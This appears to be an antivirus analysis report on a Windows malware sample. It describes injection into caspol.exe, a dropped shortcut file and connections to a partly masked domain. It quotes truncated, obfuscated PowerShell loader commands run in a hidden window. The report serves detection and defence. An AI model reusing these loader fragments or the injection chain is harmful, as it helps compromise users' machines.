Technical Information
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe
Modifies file system
Creates the following files
- %HOMEPATH%\documents\revivescence2.lnk
Network activity
Connects to
- 'po######est.xperiorlist.com':443
TCP
Other
- 'po######est.xperiorlist.com':443
UDP
- DNS ASK po######est.xperiorlist.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$Nearaivays = """RFKuFnScBtsiCoOnG RLSeLgSaItFeTdG0V0H O{SpsaUrPaFmK(C[BSCtArRiSnDgG]H`$HVSiGpSpqeErFnAeasU)I;IFKosrE(F`$mGSrTaSnTuSlHiPtLeM=S1f;D s`$DGBrMaEnpuSlUiOtCeu R-SlVtF G`$TVTiUpUpPeG...' (with hidden window)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c echo REG_SZ
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$Nearaivays = """RFKuFnScBtsiCoOnG RLSeLgSaItFeTdG0V0H O{SpsaUrPaFmK(C[BSCtArRiSnDgG]H`$HVSiGpSpqeErFnAeasU)I;IFKosrE(F`$mGSrTaSnTuSlHiPtLeM=S1f;D s`$DGBrMaEnpuSlUiOtCeu R-SlVtF G`$TVTiUpUpPeG...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Legated00 {param([String]$Vippernes);For($Granulite=1; $Granulite -lt $Vippernes.Length-1; $Granulite+=(1+1)){$Ringvejsprojekters = $Ringvejsprojekters + $Vippernes.Substring($Granuli...
- '%WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe'
